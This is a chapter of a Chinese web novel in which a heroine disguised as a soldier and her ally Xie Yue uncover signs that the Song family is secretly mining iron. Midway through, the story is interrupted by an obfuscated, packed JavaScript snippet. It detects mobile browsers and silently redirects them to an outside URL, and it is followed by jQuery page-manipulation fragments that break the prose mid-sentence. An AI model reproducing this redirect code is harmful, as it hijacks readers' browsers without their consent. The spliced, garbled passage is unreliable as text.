魏廉的住所在营地的另一端。
此时,天色已经完全暗下来了,营地四处可见巡逻的哨兵和火把。
纾延想从带路的小兵口中问出原由,可连对方也不知道魏廉为什么找她。
“就是这里了。”对方抬手一指。
和他们住的棚屋不同,这里是标准的砖石砌成的房屋,不仅有两进的院子,旁边还有抱厦。
魏廉在的位置是东厢房,那堂屋住的大概便是谢越了。
此时,堂屋的窗户漆黑一片。
或许他已经休息了吧,也或许是回府去了。
收回目光,纾延上前敲了敲门。
“进来。”
这是魏廉的声音?
纾延狐疑地推开门,屋内灯火通明,书案后的人大步向她走来。
“谢越?”纾延脱口而出。
身后的门猝然关闭,他走到她面前,猛地关上了门。
橘黄的烛光给他披上了一层温暖的光晕,退去了白日的冷酷,他似乎又是她认识的那个谢越了。
“你……没有回府吗?”
“你在这里,我怎么可能回府。”他理所当然道,目光却始终落在她侧脸的伤痕。
纾延忽然有些不自在。
“还疼吗?”
她摇摇头,“只是看着吓人而已。”
“魏廉找我——”纾延恍然大悟,“是你让魏廉叫我来的?”
“是,”他没有否认,转而拉着她在案旁的竹榻上坐下,“都上过药了?”
“……嗯。”她忍不住错开眼。
“脖子后面的伤口也有上药吗?”
纾延一惊:“你怎么知道?”
谢越薄唇一抿,俯身看了眼她颈后,而后起身取来药瓶。
“我回去弄就好了,”见他一副要亲自给她上药的架势,纾延赶紧道,“你叫我来,肯定有什么事吧?”
“这就是我要做的事。”
他倾身撩起她颈后的碎发,微凉的药膏在伤口处缓缓推开,带起一阵轻微的颤栗。
这个姿势,让她几乎被他半抱在怀中。
他的外袍似乎薰了淡淡的木香,纾延红着脸,竟一动不敢动。
“这两天不要碰水。”
“……嗯。”
不知道是不是她的错觉,他的声音似乎也有些低哑。
“跟同伍的人相处的好吗?”
脑海中不由浮现钱三飞鸡飞狗跳的样子,纾延忍不住笑出声,心中的羞赧都去了大半:“嗯,蛮好的。不过——他们似乎看出我的身份是假的了。”
他深深看她一眼,将药瓶放回案上,“人对闯入者总是敏感的。如果是换他们穿上锦衣华服,坐在笙歌燕舞旁,你也能看出他们是外来者吧。”
他的目光很平静,可纾延却控制不住地想到,那他昔日第一次换上官袍坐在那些达官显贵中的时候,心里也会这样不安吗?更有甚者,是不是还遭到了白眼和冷遇?
“可他们对我很好,我被宋有文针对的时候,他们也坚定地站在我这一边。”
纾延握住他的手,“我想哪怕原本是来自不同世界的人,只要以心换心,时间久了,即便是闯入者,也会被接纳的。”
她意有所指,希望能在不触犯他自尊的情况下给予一点安慰。
谢越垂眼看她,她对他绽放出一个大大的微笑。
他诡秘的心思,她其实并没有察觉,可却偏偏从另一个角度,想方设法地来安慰他。
她仿佛情窦未开的少女,不论对他,还是对钱三飞和郑颐,都是一样的以友相待,区别不过是他占着时间的优势所以比那两人与她更亲近罢了。
可事实上对她而言,他与他们也没有什么不同。
想到这一点,他心底不由泛起苦涩。
“对了,”她的话打断了他的思路,“我正好有事要问你——
“原本我还在想怎么才能见到你。”她从怀中掏出郑颐交给她的那枚柳叶刀。
谢越目光登时一变。
“这是今天宋有文暗算我时用的东西,”纾延道,“我看着与宋有良用的似乎是一类,只是这上面并没有任何宋家的徽记,不知道是不是他们又做了什么新的调整。”
“他暗算你?”谢越眸光一沉,“他不仅射了你一箭,还暗算你!他伤到你哪里了?”
“没有没有,”纾延赶紧道,“我没事,他动手的时候我就注意到了,所以我一点事都没有。”
怕他会再怀疑到刘广头上,她接着道:“刘兵卫当时隔得太远,想来并没有发现,不然他一定不会在汇报里漏掉这点的。”
她对他露出一个安心的笑容,“我跟你提起这件事,是因为捡到这个柳叶刀的郑颐告诉我,这东西锻造技艺高超,是出自他叔叔之手——而他叔叔一家,却已经失踪整整半年了!。
谢越神色一变。
“我在想,郑颐叔叔的一家失踪是否与宋家有关?如果是,宋家又为什么这么做呢,仅仅是为了打造几样小兵器吗?”
面对她的疑问,谢越从怀中取出一方巾帕。
巾帕展开,里面握着一枚一模一样的柳叶刀。
“这便是当日宋有良暗算你的那枚。”
纾延一怔,将它拿起来。光滑的刀身上,同样没有任何标记。
电光火石间,一个大胆的猜想浮上心头!
原来当日他是——
谢越点头证实了她的猜想,所谓的家族徽记,不过是要当众坐实宋有良的罪行!
“打造这种兵器的铁匠,”谢越道,“必须在官府登记造册还要在上面留下自己的标记,以便官府核查。可这上面却什么都没有。”
一个巨大的猜想从心中产生。
纾延只觉得后背发寒,可谢越的眼神立刻肯定了她的猜想。
“难道他们在谎报部曲,私开铁矿吗?”
***
如果他们在大规模地私开铁矿,理应成为他们最大的利益来源的谢越却从头到尾什么都不知道,那他们生产的铁器,都卖给谁了呢!
答案已经不言而喻。
纾延只觉得后背阵阵发寒。
现在的西凉,曾经的北燕曾经如何践踏这片土地,屠杀他们的百姓,难道他们都忘了吗?
就为了独占这片铁矿的利益,他们就能这么轻易地忘记昔日的仇恨吗?
可是,如果只有宋家,脑海中瞬间闪过一个可怕的念头,张家——身为地方父母官的张邵明怎么可能什么都不知道?!
不然为什么郑颐在叔叔失踪后一次次的报官会不了了之!
这件事要查就要查到底,所有与之相关的人都决不能放过!
夜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019253|192742||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
深了,纾延在离开前再次看向谢越:“我知道我没有立场来求你的,但是——或许,能不能请你为我保全晚晴。”
他眼中闪过意外,随后漫上两分自嘲的笑意:“你既然认她做妹妹,那她也就是我的妹妹。我虽然不能同意纳她为妾,但这点事,不需你说,我也会做的。”
这下意外的是纾延了。
她忽然有种无功受禄的不安,“那……就谢谢你了,我、我会报答你的。”
他的眼底骤然晦暗下来。
纾延心底一突,扭头落荒而逃。
出了厢房,夜风徐徐吹来,丝丝凉意拍在脸上,心中的一团乱麻才稍微纾解了几分。
纾延快步走在沙场。
不要再琢磨谢越那时候的表情了,现在最重要的是如何解决铁矿的问题!
虽然铁矿的位置已经大致确定,可无论是开采还是冶炼,都需要大量的人力!宋家不禁掠夺良民,拘禁流民,还一定私报了部曲数量!
三年前为了应对北燕的入侵,她父亲和昔日北府军统帅席鉴在建安主导土断,征收大量流民补充兵源,才能有后面淮阴一战的胜利!
对于谢越来说,土断同样势在必行,而宋家就是最大的绊脚石。
只有扳倒了宋家,才可能将土断顺利推行。
也只有如此,他们才有收复襄樊的可能。
回到棚屋,钱三飞和郑颐都还在等她。
对于刚刚的波折,纾延只推说是魏廉突然想起他乡下的表妹,所以叫他前去询问敷衍了过去。
而对于宋家的事——
“我想,他们一定不只掳走了你叔叔一家,等十天后休沐,我们再去其他村子看看,说不定能找到什么蛛丝马迹!”
二人都点头同意。
训练如火如荼地进行着,宋有文被惩治之后,全军的风气都肃然一清。
即便是白户,大家也大多都是为了讨生存才进入细柳营的,彼此之间所谓的沟壑哪里有什么天壤之别。
渐渐地,纾延也跟大家混的熟了,她也终于知道钱三飞为何能仅凭一句话就判断出她出身不俗。
可他们仨对这件事都不再提起,默契地守着这层窗户纸。
现在她已经能面不改色地大口吃下窝窝头,每晚睡在冷硬地床上不需要棉花便能在一片鼾声如雷中入睡。
大家一开始还对她和魏廉的关系感到好奇,后来看她始终三缄其口,而魏廉也再没来过棚屋,渐渐地,也再没人关注这件事。
直到第八天下午,结束了一日训练的纾延刚刚回到棚屋,执勤的小兵扭头见到她,哎呦一声:“你可回来了,你表妹来了!”
众人立刻发出一阵起哄声。
“表妹?!”纾延错愕。
钱三飞的声音最大:“呀,长得好看就是不一样,咱们这群糙汉,也没个姐姐妹妹的惦记着!”
“就是就是!”
纾延白他一眼。
人被安排到了火房里。
表妹?她的表妹们都远在千里,会是谁呢?
纾延敲门而入,对面娇小的身影正在桌旁蜷成一团,尴尬地应对着周围一群壮汉笨拙的问候。
看到那熟悉的背影,纾延眼底一暖,她把手放在唇下:“咳——”
对方立刻扭头,眼睛登时一亮。
“纾延!”